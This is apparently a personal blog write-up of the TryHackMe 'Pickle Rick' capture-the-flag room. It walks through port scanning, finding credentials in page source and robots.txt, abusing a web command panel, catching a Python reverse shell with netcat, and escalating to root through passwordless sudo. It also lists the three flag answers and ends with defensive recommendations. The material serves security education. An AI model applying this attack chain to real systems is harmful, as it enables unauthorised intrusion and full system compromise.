All writing
CTF · 12 MIN READ

TryHackMe Pickle Rick Walkthrough – From Recon to Root

A hands-on TryHackMe Pickle Rick CTF walkthrough covering network reconnaissance, web exploitation, reverse shells and Linux privilege escalation to gain root access.

TryHackMe Pickle Rick Walkthrough – From Recon to Root

TryHackMe Pickle Rick Walkthrough – From Recon to Root

By Aathil Ducky | November 15, 2026

Sometimes, compromising an entire system doesn't require a sophisticated exploit. A few exposed credentials, an insecure web application and a misconfigured permission can be enough.

Today, I completed Pickle Rick, a beginner-friendly Capture the Flag (CTF) challenge on TryHackMe inspired by the Rick and Morty animated series.

In this write-up, I'll explain how I approached the challenge, discovered exposed services, enumerated the web application, obtained a reverse shell and eventually gained root access.

01. Challenge Overview

Pickle Rick is a Linux-based CTF challenge where the objective is to discover three secret ingredients that Rick needs to transform himself back into a human.

PropertyDetails
PlatformTryHackMe
RoomPickle Rick
DifficultyEasy
Operating systemLinux
CategoryWeb Exploitation
ObjectiveDiscover three secret ingredients

Challenge: TryHackMe – Pickle Rick

Disclaimer: All security testing described in this article was conducted within an authorised TryHackMe lab environment for educational purposes.

02. Tools Used

Throughout this challenge, I used the following tools:

  • RustScan — Fast TCP port discovery.
  • Nmap — Service and version detection.
  • Gobuster — Web directory and file enumeration.
  • SecLists — Wordlists for content discovery.
  • Browser Developer Tools — HTML source code inspection.
  • Python 3 — Reverse shell execution.
  • Netcat — Receiving the reverse shell connection.
  • Linux Commands — System enumeration and privilege escalation.

03. Network Reconnaissance Using RustScan

Whenever I start a CTF challenge, my first objective is to understand the target's attack surface.

Instead of immediately performing a detailed Nmap scan, I used RustScan to quickly identify open TCP ports.

RustScan is a fast port scanner written in Rust that can discover open ports and integrate with Nmap for further analysis.

Command

bash
rustscan -a 10.49.144.73

Scan Results

Plain text
Open 10.49.144.73:22
Open 10.49.144.73:80

The scan discovered two open ports.

PortProtocolCommon Service
22TCPSSH
80TCPHTTP

Port 80 immediately caught my attention because it indicated that a web application was running on the target machine.

At this stage, I recorded both ports in my CTF notes.

04. Service Enumeration Using Nmap

Now that I knew which ports were open, I used Nmap to identify the services and their versions.

Scanning only the previously discovered ports allowed me to focus my enumeration.

Command

bash
nmap -sV -vvvv -p 22,80 10.49.144.73

Understanding the Command

OptionDescription
-sVDetect service versions
-vvvvIncrease output verbosity
-p 22,80Scan only ports 22 and 80

Scan Results

Plain text
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))

Service Info: OS: Linux;
CPE: cpe:/o:linux:linux_kernel

Based on the results, I identified:

  • OpenSSH 8.2p1
  • Apache HTTP Server 2.4.41
  • An Ubuntu-based Linux environment

Rather than immediately searching for exploits associated with these software versions, I decided to investigate the web application first.

An exposed service or an older version does not automatically mean that a vulnerability exists.

Lab note: My recorded network scans used 10.49.144.73, while the subsequent web enumeration used 10.48.155.180. TryHackMe lab addresses may change between deployments. Always use the IP address assigned to your active machine.

05. Web Directory Enumeration Using Gobuster

After identifying the Apache web server, I started enumerating its directories and files.

Web applications often contain resources that are not directly linked from their homepages. These could include administrative panels, configuration files, development resources or login pages.

To discover these resources, I used Gobuster with the SecLists common wordlist.

Command

bash
gobuster dir \
-u http://10.48.155.180/ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt \
-x php

Understanding the Command

OptionDescription
dirDirectory and file enumeration mode
-uTarget URL
-wWordlist location
-x phpInclude PHP file extensions

Enumeration Results

Plain text
.hta            (Status: 403)
.htaccess       (Status: 403)
.hta.php        (Status: 403)
.htpasswd       (Status: 403)
.htaccess.php   (Status: 403)
.htpasswd.php   (Status: 403)

assets          (Status: 301) [--> /assets/]
denied.php      (Status: 302) [--> /login.php]
index.html      (Status: 200)
login.php       (Status: 200)
portal.php      (Status: 302) [--> /login.php]
robots.txt      (Status: 200)
server-status   (Status: 403)

Progress: 9504 / 9504 (100.00%)

Understanding HTTP status codes is important during web enumeration.

StatusMeaning
200Successful response
301Permanent redirect
302Temporary redirect
403Forbidden

The most interesting resources were:

Plain text
/login.php
/portal.php
/robots.txt

The login page provided a potential entry point, while robots.txt was another resource worth investigating.

06. Inspecting the HTML Source Code

Before attempting to authenticate, I decided to inspect the website's HTML source code.

This is a simple but important step that beginners sometimes overlook. Developers may accidentally leave comments, internal references or sensitive information inside frontend source code.

After inspecting the page, I discovered a username:

Plain text
Username: R1ckRul3s

This was my first credential-related finding.

However, I still needed a password.

07. Discovering the Password in robots.txt

From the Gobuster results, I already knew that a robots.txt file was available.

I opened the following URL:

Plain text
http://10.48.155.180/robots.txt

The file contained:

Plain text
Wubbalubbadubdub

This looked like a potential password.

I added it to my notes alongside the previously discovered username.

Collected Credentials

Plain text
Username: R1ckRul3s
Password: Wubbalubbadubdub

One habit I've developed while completing CTF challenges is documenting everything I discover.

Even if a piece of information doesn't appear useful immediately, it might become important during a later stage of the challenge.

Never assume that you will remember every detail.

08. Accessing the Login Portal

Using the credentials collected from the HTML source code and robots.txt, I navigated to the discovered login page.

Plain text
http://10.48.155.180/login.php

Screenshot From 2026-11-15 23-34-30

I entered the credentials and successfully authenticated.

After logging in, I discovered a command panel that allowed me to execute operating system commands.

This was an important turning point in the challenge. I had moved from passive enumeration to interacting with the underlying operating system through the web application.

09. Testing Command Execution

I started by executing a basic Linux command through the command panel.

bash
ls

The application returned a list of files.

However, when I attempted to use commands such as cat and less, I discovered that certain commands were restricted.

This suggested that the application intentionally blocked specific commands.

Instead of repeatedly trying restricted commands, I decided to investigate what other programs were available on the system.

Checking Python Availability

bash
python3 --version

Screenshot From 2026-11-15 23-42-13

Python 3 was available on the target machine.

This gave me another way to interact with the operating system beyond the restricted web command panel.

Blocking a few command names is not a reliable security boundary when an application still permits arbitrary execution of other programs.

10. Obtaining a Python Reverse Shell

A reverse shell is a connection initiated by a target machine back to another machine, allowing interactive command execution.

Unlike the web command panel, an interactive shell would allow me to navigate the lab machine more comfortably.

In this challenge, my Python-based reverse shell connected back to my local machine on TCP port 9001.

The listener I used was:

bash
nc -lvnp 9001

My reverse shell configuration used the following addresses:

Plain text
Lab target:  10.48.155.180
Attacker IP: 192.168.167.109
Port:        9001

After executing the Python reverse shell through the command panel, I received a connection.

Connection Evidence

Plain text
Listening on 0.0.0.0 9001
Connection received on 10.48.155.180 38696

$

I now had shell access to the target machine.

11. Finding the First Ingredient

After obtaining the reverse shell, I listed the files in the current working directory.

bash
ls

Output

Plain text
Sup3rS3cretPickl3Ingred.txt
clue.txt
index.html
portal.php
assets
denied.php
login.php
robots.txt

One filename immediately stood out:

Plain text
Sup3rS3cretPickl3Ingred.txt

I opened the file using:

bash
cat Sup3rS3cretPickl3Ingred.txt

First Ingredient

Plain text
mr. meeseek hair

The first ingredient was successfully discovered.

12. Linux Privilege Escalation Enumeration

Obtaining shell access does not necessarily mean that we have administrative control over a machine.

Web servers commonly execute under restricted service accounts, such as www-data, to minimise the impact of a compromise.

My next objective was to understand what privileges were assigned to the current account.

To check the available sudo permissions, I executed:

bash
sudo -l

Output

Plain text
Matching Defaults entries for www-data on ip-10-48-155-180:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-10-48-155-180:
    (ALL) NOPASSWD: ALL

This was the most significant privilege misconfiguration I discovered during the challenge.

Understanding the Sudo Misconfiguration

Plain text
(ALL) NOPASSWD: ALL
ComponentMeaning
(ALL)Commands can run as any permitted user
NOPASSWDPassword authentication is not required
ALLAll commands are permitted

The web server's service account had unrestricted passwordless sudo permissions.

This completely undermined the principle of least privilege. A compromise of the web application could therefore lead to a compromise of the entire operating system.

13. Obtaining Root Access

Using the misconfigured sudo permissions within the lab, I obtained a root shell.

I verified the current user:

bash
whoami

Output

Plain text
root

My terminal now displayed:

Plain text
root@ip-10-48-155-180:/var/www/html#

At this point, I had successfully demonstrated full administrative access to the CTF machine.

There was no need for a kernel exploit or a sophisticated privilege escalation technique. The insecure sudo configuration was sufficient.

14. Finding the Third Ingredient

Since I had obtained root access, I decided to inspect the root user's home directory.

bash
cd /root
ls

Output

Plain text
3rd.txt
snap

I opened the ingredient file:

bash
cat 3rd.txt

Third Ingredient

Plain text
3rd ingredients: fleeb juice

I had now discovered two of the three required ingredients.

15. Finding the Second Ingredient

Finally, I investigated the home directories of other users.

bash
cd /home
ls

Output

Plain text
rick
ubuntu

I navigated into Rick's home directory.

bash
cd rick
ls

Output

Plain text
'second ingredients'

My original command for reading the file was:

bash
cat *

A more precise way to read this particular file is:

bash
cat "second ingredients"

Second Ingredient

Plain text
1 jerry tear

With this final discovery, I had successfully collected all three ingredients.

16. Challenge Answers

Spoiler alert: The following table contains all three challenge answers.

IngredientAnswer
First ingredientmr. meeseek hair
Second ingredient1 jerry tear
Third ingredientfleeb juice

Challenge completed successfully.

17. Attack Methodology

The complete methodology I followed during this challenge was:

Plain text
Network Reconnaissance
         |
         v
Port Discovery - RustScan
         |
         v
Service Enumeration - Nmap
         |
         v
Web Enumeration - Gobuster
         |
         v
Credential Discovery
         |
         v
Authenticated Command Execution
         |
         v
Reverse Shell Access
         |
         v
Sudo Permission Enumeration
         |
         v
Root Access
         |
         v
Challenge Completed

Each stage provided information that helped me progress to the next stage.

18. Security Vulnerabilities Identified

Although Pickle Rick is an intentionally vulnerable CTF machine, the security weaknesses demonstrated in this challenge are relevant to real-world applications.

Security weaknessPotential impact
Username exposed in HTMLInformation disclosure
Password exposed in robots.txtCredential compromise
Insecure web command panelRemote command execution
Ineffective command restrictionsUnrestricted system interaction
Excessive sudo permissionsPrivilege escalation
Unrestricted privileged accessComplete system compromise

The most important observation is that multiple security weaknesses were chained together to compromise the entire machine.

19. How These Vulnerabilities Can Be Prevented

From a defensive security perspective, organisations should implement the following controls:

  • Never store credentials in HTML comments or frontend source code.
  • Never use robots.txt to protect sensitive information.
  • Avoid exposing operating system command execution through web applications.
  • Replace shell commands with safer application APIs whenever possible.
  • Use strict input validation where external command execution is unavoidable.
  • Run web applications under dedicated, restricted service accounts.
  • Remove unrestricted sudo permissions from application service accounts.
  • Restrict and monitor unexpected outbound network connections.
  • Monitor authentication events and abnormal process execution.
  • Enforce the principle of least privilege.

Security should be implemented at multiple layers so that a single compromised component does not result in complete system compromise.

20. What I Learned

This challenge reinforced several important lessons about penetration testing.

First, enumeration is one of the most important parts of any security assessment. Identifying open services, discovering hidden resources and collecting information can be more valuable than immediately searching for exploits.

Second, documentation matters. Recording usernames, passwords, file paths, command outputs and other findings makes it easier to connect information discovered at different stages.

Finally, misconfigurations can be just as dangerous as software vulnerabilities. In this challenge, excessive sudo permissions were enough to turn web application access into complete administrative control.

Conclusion

Pickle Rick is an excellent CTF challenge for anyone starting their ethical hacking and penetration testing journey.

It covers several essential cybersecurity concepts, including network reconnaissance, web enumeration, credential discovery, remote command execution and Linux privilege escalation.

What I enjoyed most about this challenge was that it demonstrated the importance of understanding how individual security weaknesses can be combined.

Hacking is not just about knowing tools or executing commands. It's about understanding systems, asking the right questions and connecting the information you discover.

Keep learning. Keep exploring. Keep hacking ethically.

— Aathil Ducky

www.aathilducky.com

References

About the author ↗